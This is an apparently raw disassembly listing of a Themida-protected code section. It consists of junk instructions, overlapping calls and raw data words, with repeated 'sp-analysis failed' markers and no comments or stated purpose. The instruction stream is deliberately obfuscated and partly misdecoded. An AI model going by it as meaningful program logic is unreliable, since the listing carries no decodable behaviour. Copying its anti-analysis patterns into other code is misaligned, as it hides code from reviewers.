mov ah, 53h
mov eax, 4550C84Fh
call sub_604EF5
pop ebx
cmp al, [ebp+5Eh]
leave
jge short near ptr loc_604ECC+1
hlt
; ---------------------------------------------------------------------------
db 0ABh, 0DCh, 12h
dd 4BCE605Fh
db 25h
; =============== S U B R O U T I N E =======================================
sub_604EF5 proc near ; CODE XREF: Themida_:00604EE0p
pop edi
or dx, 7C9Ch
mov dx, 0C0Ah
mov edx, ecx
jg loc_604F0C
mov edi, 0FFA8266h
loc_604F0C: ; CODE XREF: sub_604EF5+Cj
movzx edx, ax
movsx ecx, cx
jmp loc_604F28
; ---------------------------------------------------------------------------
db 0E6h
dd 0BEB0A8A5h, 8F01EF51h, 1076E5D4h, 881128FEh
; ---------------------------------------------------------------------------
loc_604F28: ; CODE XREF: sub_604EF5+1Dj
add edx, 7B9B7838h
call near ptr loc_604F36+2
repne inc ebp
inc esi
loc_604F36: ; CODE XREF: sub_604EF5+39p
mov ds:28F0F3Ah, al
sub_604EF5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 59520000h, 810F605Eh, 4, 2BDEBE66h, 7E9h, 577F0400h
dd 2BF0EAE8h, 99F68161h, 602CE2DBh, 59F18166h, 0DA8B6687h
dd 0D3B96661h, 0C6E08030h, 830Fh, 0F600000h, 58Ah, 0EA816600h
dd 8B666F29h, 666061F2h, 94B7D781h, 81666061h, 668E30DBh
dd 615F35BAh, 0DE9h, 0CC421500h, 0EEB8ED3Dh, 0F83851Eh
dd 0E8809769h, 14E90Bh, 0FBCF0000h, 0E6E65F68h, 8ABBF8CFh
dd 0B4037BE6h, 71AE3ADAh, 9E9CEB3h, 0A0000000h, 443BC974h
dd 18BD67A9h, 0EE8h, 19FD3F00h, 0C72B3BB6h, 606A9178h
dd 0E9B66C63h, 0Dh, 3DCC4215h, 1EEEB8EDh, 690F8385h, 66525897h
dd 8F36D781h, 4CBF6658h, 3830F8Eh, 0F000000h, 0E3BEF3BFh
dd 0E922FBDEh, 10h, 0B48B8753h, 0B64A10A2h, 6BD5F1F6h
dd 9FD24E76h, 989BEEB9h, 850FF548h, 0
; ---------------------------------------------------------------------------
jmp loc_605047
; ---------------------------------------------------------------------------
db 88h, 0A9h, 0C3h
dd 0ED427C28h, 35B7EF97h
db 53h, 29h, 5Bh
; ---------------------------------------------------------------------------
loc_605047: ; CODE XREF: Themida_:00605034j
pusha
mov si, 0F64Fh
cmc
popa
sbb ecx, 6980F7F5h
mov dl, cl
cld
mov di, bx
jmp loc_60506F
; ---------------------------------------------------------------------------
db 0D7h
dd 46DB3812h, 2200E068h, 0C90A0D55h
; ---------------------------------------------------------------------------
popa
db 3Eh
inc ecx
loc_60506F: ; CODE XREF: Themida_:0060505Aj
jmp loc_60507E
; ---------------------------------------------------------------------------
dd 8E779A70h, 808F0D98h
db 0Ah
; ---------------------------------------------------------------------------
loc_60507D: ; CODE XREF: Themida_:0060509Dj
outsb
loc_60507E: ; CODE XREF: Themida_:loc_60506Fj
jmp loc_60508F
; ---------------------------------------------------------------------------
db 0C5h
dd 8F96992Bh, 34D03213h
; ---------------------------------------------------------------------------
xchg bl, dl
inc esp
loc_60508F: ; CODE XREF: Themida_:loc_60507Ej
sub ch, 0C7h
push ecx
call near ptr loc_60509F+5
push edi
shr ch, 1Dh
cwde
jb short loc_60507D
loc_60509F: ; CODE XREF: Themida_:00605093p
fidiv word ptr cs:[edx-207FD205h]
mov dword ptr [ebx+58h], 0CF8ACA8Bh
jmp loc_6050B9
; ---------------------------------------------------------------------------
dw 0B6Fh
dd 38673E8Fh
; ---------------------------------------------------------------------------
setalc
loc_6050B9: ; CODE XREF: Themida_:006050ADj
or edx, 12575719h
mov ch, 4Bh
jmp loc_6050D4
; ---------------------------------------------------------------------------
mov esp, 1ED9CB5h
sbb eax, 0C239B284h
push esi
pop ebx
pop es
xchg eax, ebp
loc_6050D4: ; CODE XREF: Themida_:006050C1j
or edi, 7C211254h
jmp loc_6050EA
; ---------------------------------------------------------------------------
db 0EFh
db 0CCh
; ---------------------------------------------------------------------------
mov eax, 783C3737h
lodsb
pop esp
xchg eax, ebx
lahf
loc_6050EA: ; CODE XREF: Themida_:006050DAj
jp loc_6050F2
mov esi, edx
loc_6050F2: ; CODE XREF: Themida_:loc_6050EAj
push edx
jmp loc_605109
; ---------------------------------------------------------------------------
mov dh, 10h
mov esi, 45785B31h
xchg eax, esp
add [esi+9], dl
mov bl, 0C6h
cmpsd
fcom dword ptr [ebx+ebx*2]
loc_605109: ; CODE XREF: Themida_:006050F3j
pop edi
jle loc_605124
jmp loc_605124
; ---------------------------------------------------------------------------
xor eax, 0D03E208h
pop eax
sub eax, [edx+7CF68B79h]
adc ah, al
push ds
loc_605124: ; CODE XREF: Themida_:0060510Aj
; Themida_:00605110j
adc ax, 115Fh
call sub_60513A
outsb
or eax, 816F695h
lea esi, [eax-3FB9FCD3h]
; =============== S U B R O U T I N E =======================================
sub_60513A proc near ; CODE XREF: Themida_:00605129p
; FUNCTION CHUNK AT 006051E8 SIZE 00000010 BYTES
mov ebx, edi
pop ebx
clc
pusha
jno $+6
movzx ebx, di
popa
sbb edi, 4DF16A2Ch
and dx, 5D50h
mov ecx, ebx
jmp loc_605169
; ---------------------------------------------------------------------------
db 34h
dd 233FDF19h, 0B9E30D24h, 0EA078AE2h
db 0D5h
; ---------------------------------------------------------------------------
loc_605169: ; CODE XREF: sub_60513A+1Cj
jmp loc_605181
; ---------------------------------------------------------------------------
dw 1B76h
dd 9D31281Eh, 6D11A745h, 0CC29EAB3h, 0C4A92332h
db 21h
; ---------------------------------------------------------------------------
loc_605181: ; CODE XREF: sub_60513A:loc_605169j
cmc
call near ptr loc_605194+2
fstp dword ptr [eax]
cmp al, 0CBh
xor [ecx+3D1890D7h], cl
inc ecx
jbe short loc_6051E8
loc_605194: ; CODE XREF: sub_60513A+48p
sbb byte ptr [ecx-17h], 5
sub_60513A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 73000000h, 944ADE36h, 4830F5Ah, 66000000h, 0E9E07BBEh
db 0Dh, 0
dw 0 ; CODE XREF: sub_60513A+B0j
dd 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 10E8D7h, 0E61D0000h
dd 47FA1FB4h, 0F8AD4563h, 0ED632F89h, 0EA8A3F4Eh, 0AE959h
dd 49530000h, 0AB18C8Fh, 0D9587B65h, 13E9h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60513A
loc_6051E8: ; CODE XREF: sub_60513A+58j
add cl, al
loop near ptr word_6051AE
mov cl, 0E0h
rep in al, 0A7h ; Interrupt Controller #2, 8259A
xchg eax, esi
sbb eax, 0D5191AB3h
retn
; END OF FUNCTION CHUNK FOR sub_60513A
; ---------------------------------------------------------------------------
mov ah, 1Ah
jz short loc_605277
mov ebx, 3C3A10E4h
jmp loc_605216
; ---------------------------------------------------------------------------
dw 8084h
dd 78727A29h, 73B93292h, 59E2CE99h
db 0A6h, 0A1h
; ---------------------------------------------------------------------------
loc_605216: ; CODE XREF: Themida_:00605201j
mov ebx, 53C0FE5Ah
mov ax, 0B39Ch
push esi
push ecx
mov di, ax
pop ebx
pop edx
call near ptr loc_605235+3
inc eax
sal byte ptr [ecx-71h], cl
les edi, [edi-1ABF3E74h]
loc_605235: ; CODE XREF: Themida_:00605226p
jmp far ptr 5AC7h:8B66A14Bh
; ---------------------------------------------------------------------------
dd 51EA8060h, 28C0Fh, 5B520000h, 0B97BBF61h, 48B35FAEh
dd 4800FF8h, 66000000h, 6099D8BEh, 10810Fh, 0AE80000h
dd 0E4000000h, 5B3B601h, 312D3E95h, 81665B68h
db 0E9h, 69h, 63h
; ---------------------------------------------------------------------------
loc_605277: ; CODE XREF: Themida_:006051FAj
popa
sub dx, 6C4Eh
sbb bh, 4Eh
mov dx, 8266h
jz loc_60528F
or bx, 1D48h
loc_60528F: ; CODE XREF: Themida_:00605284j
mov esi, 63FBEE8Dh
mov ah, cl
call sub_6052AB
retf
; ---------------------------------------------------------------------------
rol dword ptr ds:658328Bh, 0F0h
aaa
jg short loc_6052C6
pop es
adc byte ptr [edx-3Dh], 4Bh
; =============== S U B R O U T I N E =======================================
sub_6052AB proc near ; CODE XREF: Themida_:00605296p
mov ecx, 7D20DA8h
pop ecx
mov ebx, 7C4C1AB2h
cmc
pusha
jmp loc_6052C7
; ---------------------------------------------------------------------------
db 2Ch, 0E8h, 69h
dd 5E36F3CAh
; ---------------------------------------------------------------------------
xor al, 0E4h
loc_6052C6: ; CODE XREF: Themida_:006052A4j
push ss
loc_6052C7: ; CODE XREF: sub_6052AB+Dj
adc bl, 7
popa
cld
pusha
mov eax, ebx
xor eax, 2B484097h
popa
jp loc_6052F9
call sub_6052F2
imul ebx, [edi-7Dh], 69h
retn
sub_6052AB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 5768h
dd 0C75B165Bh, 98977028h
; ---------------------------------------------------------------------------
or al, 3Eh
; =============== S U B R O U T I N E =======================================
sub_6052F2 proc near ; CODE XREF: sub_6052AB+31p
adc ebx, 6DAFE31Bh
pop edi
loc_6052F9: ; CODE XREF: sub_6052AB+2Bj
jnz $+6
sbb ebx, 143EC7Ah
call near ptr loc_605312+4
dec ebp
pop ebp
xchg eax, ecx
xchg eax, ebp
bound edi, [edi]
dec esp
pop esi
loc_605312: ; CODE XREF: sub_6052F2+13p
repne add ebx, [ebp-397E99D1h]
sub_6052F2 endp ; sp-analysis failed
insd
mov dh, 59h
push ecx
jmp loc_605328
; ---------------------------------------------------------------------------
and [ecx], bl
mov bl, 0D6h
fldlg2
loc_605328: ; CODE XREF: Themida_:0060531Dj
pop edx
mov di, cx
cmc
mov esi, 68FEF366h
push ebx
jp loc_60533C
mov di, dx
loc_60533C: ; CODE XREF: Themida_:00605333j
pop edx
mov cx, 67A8h
mov edx, 477EDC78h
sbb ecx, 781CC25Bh
and esi, 57D5A85Dh
add ebx, 34C6D0F8h
add edi, 7801A372h
jmp loc_605375
; ---------------------------------------------------------------------------
db 48h
dd 34ECD775h, 407D8E02h, 48442CC1h, 257F2292h
db 75h
; ---------------------------------------------------------------------------
loc_605375: ; CODE XREF: Themida_:0060535Ej
jb loc_605380
sbb bx, 7B34h
loc_605380: ; CODE XREF: Themida_:loc_605375j
sbb dh, 31h
jo loc_60539F
jge loc_60539F
jmp loc_60539F
; ---------------------------------------------------------------------------
dd 0DF80AAE9h, 818CFF9Ch
db 0D8h, 0DEh, 34h
; ---------------------------------------------------------------------------
loc_60539F: ; CODE XREF: Themida_:00605383j
; Themida_:00605389j ...
push ebx
clc
pop ebx
sub di, 98D1h
jbe loc_6053B0
and bl, 41h
loc_6053B0: ; CODE XREF: Themida_:006053A7j
call sub_6053C3
lodsb
das
insb
loop near ptr loc_6053B8+1 ; CODE XREF: Themida_:loc_6053B8j
mov dl, 52h
lodsd
; ---------------------------------------------------------------------------
db 8Fh, 20h, 0B7h
; ---------------------------------------------------------------------------
cld
mov dl, 0A1h
; =============== S U B R O U T I N E =======================================
sub_6053C3 proc near ; CODE XREF: Themida_:loc_6053B0p
call near ptr loc_6053CD+1
xor [edi+23h], bh
in al, 0D7h
loc_6053CD: ; CODE XREF: sub_6053C3p
test ebp, ecx
sub_6053C3 endp ; sp-analysis failed
or eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 4Eh
dd 29D05D32h, 0FCF7712Ah, 595A1A72h, 0FE9h, 0DDAD2800h
dd 0DC605D02h, 0A42A7AB1h, 640CBEA5h, 0CE8h, 3301AB00h
dd 0E543D388h, 7EAC528Bh, 12E8DEh, 48130000h, 69D12E9Bh
dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 8E0F5F5Eh, 6, 0F018E081h
dd 0C2813917h, 61F230ECh, 0F8BCDF80h, 5840Fh, 80500000h
dd 605BF6D5h, 0E9F6B70Fh, 0Bh, 0CD819B71h, 6B8D8548h, 6152448Eh
dd 9BD38166h, 14E932h, 0EB350000h, 0C0761524h, 16F73B12h
dd 0CCF4845Fh, 0A160B80Fh, 8E0FB418h, 11h, 0B880Fh, 6E90000h
dd 17000000h, 4C5F0ED2h, 9E9FEh, 248D0000h, 1A9F7D47h
dd 0E84A9FEDh, 10h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh, 0A4F9A27Fh
dd 0E959EC8Ah, 13h, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h
dd 0F501008h, 680h, 6AE78100h, 8A3762ADh, 0F0B70FC5h, 0BEC5E181h
dd 8B523191h, 0E9525EFEh, 0Ch, 25E73AEDh, 2756662Dh, 8E5F40FBh
dd 0EE81665Bh, 10E8769Bh, 0D4000000h, 0FBDA57D1h, 0C11501B5h
dd 888CD8AFh, 0FC283E2h, 687h, 82E78100h, 5920CC5Ah, 98D08060h
dd 0C8A0F61h, 0F000000h, 683h, 8A0F00h, 0E9000000h, 0Fh
dd 15E23225h, 7C867EA4h, 0AC5FAE00h, 0FA6CE15h, 8A0FDEB7h
dd 1, 0FEBF0FF9h, 7E9h, 27E64E00h, 0F8AC148Bh, 81F28B66h
dd 8DA4EDCBh, 0D18B664Ah, 0F1F58060h, 66616060h, 6161CB8Bh
dd 0DE8h, 0F4BA0200h, 267E44EAh, 327264DAh, 0F579659h
dd 5959FABFh, 0EE9h, 0EA8CB200h, 0E52EA72Ch, 17644588h
dd 813423CFh, 695571F7h, 0F1FB421h, 383h, 0A1D08000h, 9DB5E281h
dd 8B0F12DAh, 4, 58616050h, 8B6042B6h, 816661C8h, 0FFE78C1h
dd 0BF0FCAB7h, 0BE9FEh, 99660000h, 0C4B5F43Bh, 4EDD01ADh
dd 8E9602Fh, 47000000h, 7E778AB2h, 0BAC79277h, 26158868h
dd 208C0F61h, 0F000000h, 1A86h, 14E800h, 0C0930000h, 0BE2F6E49h
dd 0EBCF6F56h, 17D02B16h, 84FCD1ABh, 0F5A9D33h, 389h, 0C6B70F00h
dd 0F97EEB80h, 0BF0FE18Ah, 8E9C7h, 24F60000h, 0DACCB176h
dd 8057DE62h, 805F00CAh, 0B70F99C6h, 0D830FD6h, 60000000h
dd 32BBACBEh, 8A0F01h, 61000000h, 0AE952h, 5D200000h, 0EB740A46h
dd 0D19DE545h, 0DD80F95Fh, 0F5F51D0h, 1284h, 0BE800h, 8C5D0000h
dd 7E7B539Fh, 2C6C4193h, 605BFC41h, 662CEE80h, 61BC6ABFh
dd 0DE9h, 3E3F8400h, 23FD3917h, 1A610D62h, 14E8801Fh, 5F000000h
dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 0E891279Ch
dd 14h, 0E93F6596h, 0C449A6F1h, 0B8553F41h, 0DE495006h
dd 0CAB889FBh, 59596160h, 0DA816660h, 8B668ACCh, 0F5261DAh
dd 8A5FF1B7h, 2810FF8h, 0B1000000h, 0FE989h, 0F3380000h
dd 0F10547BCh, 76BAF48Ah, 5CF297Fh, 0E8816689h, 0B70FB8B0h
dd 82B966D1h, 11E8C9h, 78C00000h, 6B4509F0h, 0BEF1D106h
dd 0F2494C20h, 0FADBED4h, 381h, 0B8EC8000h, 0D78B665Ah
dd 0EE8h, 9DB12900h, 7B6D69C5h, 0EA774680h, 0F271B65h
dd 286h, 5EC18B00h, 5880F60h, 0BE000000h, 7F6FCDB2h, 0BE8h
dd 8412CB00h, 941A6F9h, 4AD2DB64h, 0FE8615Fh, 6A000000h
dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 8E88CC5h, 0DF000000h
dd 806051E9h, 810460F5h, 1DA35DDAh, 605B5A7Ah, 0D430B6BBh
dd 18E08072h, 0B966F561h, 8B663184h, 0E78166F9h, 0B866BAFEh
dd 81661E57h, 66EAD9E0h, 7BFAF381h, 78F0Fh, 60600000h
dd 0D6B70F61h, 9E85061h, 2A000000h, 0EB08543Eh, 0A9E7FE09h
dd 0E9F95959h, 11h, 9407244Dh, 99A1ADAh, 6823E32Fh, 0BD6F34B7h
dd 12E95150h, 8B000000h, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h
dd 26A3AB39h, 7E85B95h, 6C000000h, 0C80BDA87h, 0F98B09D2h
dd 9DCA8059h, 7E8h, 58B9C900h, 7F3ED737h, 66FC5EF9h, 90BAF081h
dd 11E3DFBBh, 8B0FF535h, 4, 0AA8BBE66h, 0FDF8B66h, 381h
dd 0CABF0F00h, 40D4BB66h, 0FF6BF0Fh, 58Ch, 0B097B800h
dd 0FFC2590h, 0FC8AF8BFh, 8571E1BAh, 0F18B6674h, 81D9CC80h
dd 5D369ED7h, 8A0F73h, 0F000000h, 33B4F6BFh, 5AD18B52h
dd 60F5E58Ah, 13E8EB8Ah, 0E2000000h, 0A6293429h, 0D0DE1CB1h
dd 3C77D8E0h, 0C21CD538h, 0BE8389Bh, 0B9000000h, 572B2BBFh
dd 8D792C84h, 5E598F97h, 6E961h, 126B0000h, 4A6E2A64h
dd 5850Fh, 29BE0000h, 815EA552h, 219F5BD0h, 0DA8B665Ah
dd 0FB26DCBAh, 14E943h, 37870000h, 2E4C2F0Ch, 5EC6687Ch
dd 0B2420B04h, 49E29EB7h, 0DF815838h, 2C2A1543h, 9E960h
dd 0D9FC0000h, 587C7E5Ah, 0F91E620h, 0BE61CFBFh, 1D9BF403h
dd 0FE950h, 31320000h, 0F2A4C987h, 0DD2CA821h, 64E753CBh
dd 0BF0F5BA9h, 10E8CAh, 0F94F0000h, 0A66A274Fh, 479A207Ch
dd 2D98AEC3h, 0BF0F745Bh, 8B665AD8h, 0EE8F1h, 42F60000h
dd 645213AFh, 4A70C56Ah, 0F1C97A96h, 0E08636BFh, 0F2805B47h
dd 0E1F781E1h, 8B29DA92h, 0B5DF81C8h, 66562CD8h, 0E9917DBFh
dd 10h, 0D9893A47h, 457AB6Dh, 82F49272h, 0E430309Ch, 5E9h
dd 0D58BF00h, 0B70F99CFh, 665857CBh, 0F808C8BAh, 0D0D68166h
dd 0EE837h, 0BA120000h, 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh
dd 0E958F28Bh, 12h, 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h
dd 0C75829BEh, 890FDDDFh, 17h, 12E9h, 0CFFFD500h, 2453BA7Bh
dd 9A1520FDh, 79899Ah, 80993585h, 9E9F5C3h, 69000000h
dd 0D026640Eh, 6E7A7D18h, 58C0Fh, 0F520000h, 0F59CFB7h
dd 0C8Ah, 7E900h, 8EF0000h, 4DD18ABCh, 5BEA81E7h, 0F52722E4h
dd 6652D08Bh, 588848BAh, 39B3BA66h, 6E95957h, 84000000h
dd 6420A6A6h, 6E840h, 72E20000h, 0EB4883F0h, 19D0815Bh
dd 0F13BE37h, 584h, 0DE816600h, 0EF80F060h, 816660DDh
dd 0F09D9E8h, 1580h, 0FE800h, 93DC0000h, 64A9831Fh, 7DD9397Bh
dd 0D9792071h, 0F615F3Dh, 585h, 8697BE00h, 0EA8A6400h
dd 7FAA32BAh, 0F8FCF829h, 6E8F9h, 90E10000h, 0DFB64522h
dd 1ACE8059h, 3DDF8166h, 0BE98Ch, 0C1950000h, 0F5B6EB2Fh
dd 1D195246h, 0EE82Ch, 0A2500000h, 9131C54h, 1CC19056h
dd 12B8010Eh, 0BF5F09B7h, 27CED3EBh, 60FFBF0Fh, 2800Fh
dd 0D78A0000h, 0F076E381h, 0E8612EDFh, 9, 98AC3406h, 0E40B160Bh
dd 6E97Fh, 4EF10000h, 1F01DF5Bh, 0D2815059h, 15A6CF49h
dd 0CE95Bh, 30500000h, 720A0C44h, 0F9856C68h, 8B661B45h
dd 1C8CBBC6h, 0BF0F3E29h, 11E9C9h, 9DD70000h, 1A49445Bh
dd 0F1BF5FF7h, 62FF123Ch, 0E9CBD5D1h, 0Eh, 0D7E0F500h
dd 0F2963231h, 0DAB75ECBh, 0BF0F4B5Bh, 0F9C18AD0h, 63E6B966h
dd 840A3B9h, 53E9800Eh, 0FD38B66h, 85h, 0DE900h, 9C810000h
dd 3002CEF9h, 0D542D426h, 80061BFEh, 0D48A65ECh, 0FA0DC80h
dd 981h, 38B0F00h, 80000000h, 71BBBBEFh, 816B7211h, 667442DEh
dd 0C909BA79h, 8E0F64DEh, 0Eh, 9E9h, 5664FE00h, 998094C5h
dd 8B66860Dh, 0E7BE66D0h, 96C8813Eh, 0E918082Eh, 11h, 0C1A3FCD6h
dd 0E3388A2Dh, 0F00F947Ah
dd 5DD816C6h, 0FE8F9CEh, 9000000h, 6DBF86Fh, 0C2433AC1h
dd 6549B908h, 0F5F11F8h, 382h, 0D1B70F00h, 11EDF781h, 0DE95A4Bh
dd 1E000000h, 6A6F0B8Fh, 8063943Eh, 509EF59Eh, 0DE85E53h
dd 99000000h, 76E70535h, 0A3E9F1E2h, 0A3DCEADCh, 0AE9h
dd 0CE921C00h, 0D8409E25h, 58F3D9D7h, 503EBA52h, 665F7FC7h
dd 663570B9h, 0E9CB26B9h, 0Dh, 180E156Ch, 9B4E315Bh, 58ACF4A4h
dd 0D4BE66F0h, 13E80Bh, 33F20000h, 15FC50B3h, 288D709Eh
dd 0FF0D0896h, 0C43F2AF7h, 59D68BEFh, 0EF4C181h, 14E91329h
dd 38000000h, 51E1502Eh, 45AABCA8h, 5E1016CEh, 13068DAEh
dd 0E8FDA25Bh, 6, 0C4E3C214h, 0BF0FD5C3h, 8F0F5BD1h, 2
dd 8A0F91B2h, 0
; ---------------------------------------------------------------------------
movzx eax, si
mov di, dx
push edi
jmp loc_605CC8
; ---------------------------------------------------------------------------
dd 0AC6320FBh, 0FDF5A719h, 4F628587h
; ---------------------------------------------------------------------------
loc_605CC8: ; CODE XREF: Themida_:00605CB7j
pop ecx
mov esi, 63CE1007h
pusha
push ecx
pop ebx
call near ptr loc_605CE2+1 ; CODE XREF: Themida_:00605CD9j
push ss
sbb ch, [esi]
loop near ptr loc_605CD1+3
mov esi, fs:[ebx-6C4544B8h]
loc_605CE2: ; CODE XREF: Themida_:loc_605CD1p
fstp qword ptr [ecx+61h]
jz loc_605CF1
sbb edi, 19D9EC7Ch
loc_605CF1: ; CODE XREF: Themida_:00605CE5j
and edi, 3742AD16h
mov bx, dx
mov edi, 4BA002C6h
cmc
pusha
movzx edi, ax
pusha
mov eax, 2F53EA07h
jnp $+6
popa
popa
xor bh, 24h
push edi
jmp loc_605D2F
; ---------------------------------------------------------------------------
db 91h
dd 424EE637h, 0CD07A97h, 0C991A976h, 3BDB7BDEh
db 1Eh, 0C8h, 4Fh
; ---------------------------------------------------------------------------
loc_605D2F: ; CODE XREF: Themida_:00605D16j
pop ebx
and cx, 3732h
mov dh, 66h
movzx eax, cx
pusha
mov dx, di
jns loc_605D5D
jmp loc_605D5D
; ---------------------------------------------------------------------------
cmp [ebp-1EFCA986h], edx
add byte ptr [edi], 52h
adc dl, bl
scasb
shr ecx, 1
inc ebx
mov ebx, 2574EC17h
loc_605D5D: ; CODE XREF: Themida_:00605D3Ej
; Themida_:00605D44j
popa
cmc
push ecx
mov dx, 29B1h
pop edx
jb $+6
stc
mov edx, 2531939Fh
adc bx, 0BC4Ch
mov cx, 7851h
cld
js loc_605D8B
jbe loc_605D8B
mov bx, 0C3DBh
loc_605D8B: ; CODE XREF: Themida_:00605D7Bj
; Themida_:00605D81j
sub ax, 216Ah
push ecx
xor ah, 98h
pop ebx
call near ptr loc_605D9C+4
in al, 0BDh ; Interrupt Controller #2, 8259A
loc_605D9C: ; CODE XREF: Themida_:00605D95p
mov dword ptr [edx+66602BBEh], 3372E381h
cmc
popa
pop ecx
movzx esi, di
pusha
xor ah, 0CFh
call sub_605DC7
insb
cwde
retf
; ---------------------------------------------------------------------------
db 0CCh
db 54h, 96h, 9Ch
dd 0D554A104h, 2647C710h
db 81h, 0B2h, 0F4h
; =============== S U B R O U T I N E =======================================
sub_605DC7 proc near ; CODE XREF: Themida_:00605DB0p
mov cl, bh
pop edi
popa
mov ax, 0ECD1h
pusha
call near ptr locret_605DDA+1
aam 0A7h
push es
aad 5Ah
locret_605DDA: ; CODE XREF: sub_605DC7+9p
retn 0D88Ah
sub_605DC7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5Fh, 0F8h, 61h
dd 8E8h, 0B4326F00h, 0B9C348CBh, 9E882h, 16BA0000h, 2912EE64h
dd 0F4B5C04h, 81h, 665E5A00h, 3AB1F08Bh, 0CE8h, 0A9EB6800h
dd 0D588D5BCh, 5A15606Ch, 58F28B82h, 860F5260h, 0
; ---------------------------------------------------------------------------
pop edi
jmp loc_605E35
; ---------------------------------------------------------------------------
dw 0BC35h
dd 0F7199CA1h, 20B0CA94h
; ---------------------------------------------------------------------------
push cs
loc_605E35: ; CODE XREF: Themida_:00605E25j
popa
cld
movsx eax, ax
add cl, 82h
jp loc_605E48
add di, 0F545h
loc_605E48: ; CODE XREF: Themida_:00605E3Dj
mov edi, edx
movsx eax, cx
cmc
pusha
movzx ecx, di
popa
mov edi, esi
push edx
mov di, 8016h
pop esi
mov ah, ch
jmp loc_605E75
; ---------------------------------------------------------------------------
dw 4C20h
dd 0BED4F249h, 0AC19E3ADh, 4CD4980Fh, 0DB912BDDh
; ---------------------------------------------------------------------------
dec ecx
loc_605E75: ; CODE XREF: Themida_:00605E5Dj
mov edi, ebx
call near ptr loc_605E82+4
cmp [ebx+0C0B7EA3h], eax
loc_605E82: ; CODE XREF: Themida_:00605E77p
mov ds:662F6391h, eax
sbb edi, 0E959B8EDh
sldt word ptr [eax]
add [edx], dh
add dword ptr [esi], 0E5482D9Fh
; ---------------------------------------------------------------------------
dd 4F88EF62h, 924703BCh, 0B660FA8Bh, 0C18B66E7h, 0BCBA6661h
dd 0EE9606Eh, 0EC000000h, 74251C06h, 9BBC073Ch, 0F241562h
dd 61D98A00h, 0FC3B70Fh, 2085h, 0DE800h, 77320000h, 21F919B6h
dd 8A5031E5h, 0E9330FEDh, 8, 0B957863Bh, 326C5F6Eh, 0C781665Bh
dd 0B70FC589h, 53F580D6h, 66F2E280h, 0E86F76B9h, 8, 0AA3A1E1Dh
dd 0D8E139B3h, 58D78B66h, 7D1DBB66h, 7880Fh, 8B600000h
dd 0C38B66D6h, 0CB8B6061h, 4341F081h, 0F6125A7h, 486h
dd 61606000h, 0F890F61h, 0E8000000h, 6, 0E9775B26h, 0B70FD1F9h
dd 890F5ED9h, 5, 0C10B8FBAh, 5850F53h, 0BA000000h, 5BB2DD1Fh
dd 0E8F1BF0Fh, 8, 50BB6E1Dh, 1862C4D4h, 0E3815EF8h, 15ED5859h
dd 26DBBE60h, 60605B26h, 0C28B6661h, 1DBF6161h, 663F8C91h
dd 0E928C7B8h, 5, 0C3F688E0h, 14E90Fh, 0E4C0000h, 53FEDDF1h
dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 8B666CEFh, 0AE860D9h
dd 0F3000000h, 679CE7BBh, 14697A36h, 0D381667Ah, 615EE96Ah
dd 66F5F88Bh, 0E92D5CB9h, 0Ch, 968BD9BFh, 51FC2CD9h, 25624BFDh
dd 0A860Fh, 8D0F0000h, 4, 0BF62B866h, 0E8D68166h, 1EBB666Eh
dd 870F6046h, 6, 800Fh, 0E8600000h, 12h, 0EE143D7Dh, 0E39645C2h
dd 405D2238h, 126661E1h, 615E9211h, 58B0F61h, 66000000h
dd 6D22E681h, 6E9F78Bh, 0BE000000h, 53547760h, 0FE9DEh
dd 599A0000h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h, 0FFB70F63h
dd 29D08166h, 7820F28h, 60000000h, 60C88166h, 8B0F6173h
dd 0Ch, 940B860h, 56BE3991h, 61030F47h, 0E9F18166h, 8D0F565Ch
dd 3, 5FC2F780h, 80F48AF5h, 11E956EDh, 1D000000h, 654AA9B1h
dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 845ADA81h, 0BB6679C1h
dd 8B66AFA3h, 8830FDFh, 57000000h, 0CA59C981h, 0F5E690Ch
dd 1988h, 11E85700h, 50000000h, 6370144Fh, 0CA804F7Ch
dd 82B7F6D4h, 0B19A328Dh, 0E9FC595Eh, 0Bh, 1E549449h, 0C15B4853h
dd 8B0B0FB5h, 14800FDAh, 0E9000000h, 0Fh, 0D0D2F998h, 0F9B79314h
dd 0D61715A7h, 0E92E66F5h, 14h, 90BA66B9h, 4A2F3AE5h, 4138D80Bh
dd 0F6804BABh, 0AE556D4Bh, 0F95356F5h, 0D1815859h, 25ECD013h
dd 0E96027B2h, 0Fh, 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 502733A6h
dd 615BF88Bh, 80CFB70Fh, 0B8665FE1h, 66605734h, 8B66DF8Bh
dd 8C0F61C3h, 6, 34D7E081h, 0BE667FC7h, 820F55F2h, 0
; ---------------------------------------------------------------------------
jmp loc_606184
; ---------------------------------------------------------------------------
db 3Dh, 0DFh, 33h
dd 0DED0BC8Eh, 81EFD13Ch
; ---------------------------------------------------------------------------
loc_606184: ; CODE XREF: Themida_:00606174j
mov si, 7DC0h
sub di, 0B761h
adc ch, 35h
jnp loc_60619B
and cx, 57Bh
loc_60619B: ; CODE XREF: Themida_:00606190j
jmp loc_6061B1
; ---------------------------------------------------------------------------
db 0CCh
db 0C7h, 43h, 0F9h
dd 0C18899Bh, 958815BEh, 0D7BDF4C3h
db 64h
; ---------------------------------------------------------------------------
loc_6061B1: ; CODE XREF: Themida_:loc_60619Bj
xor dx, 628Dh
mov bx, 81B3h
cmc
push ecx
call near ptr loc_6061CC+1
movsd
jg short near ptr loc_60620F+3
cmp [esi], esi
aam 12h
out 0CDh, eax ; DMA controller, 8237A-5.
; master clear.
; Any OUT clears the ctrlr (must be re-initialized)
pop esi
inc ecx
loc_6061CC: ; CODE XREF: Themida_:006061BCp
adc [edx+5Ah], edx
pop ebx
pop ecx
pusha
pusha
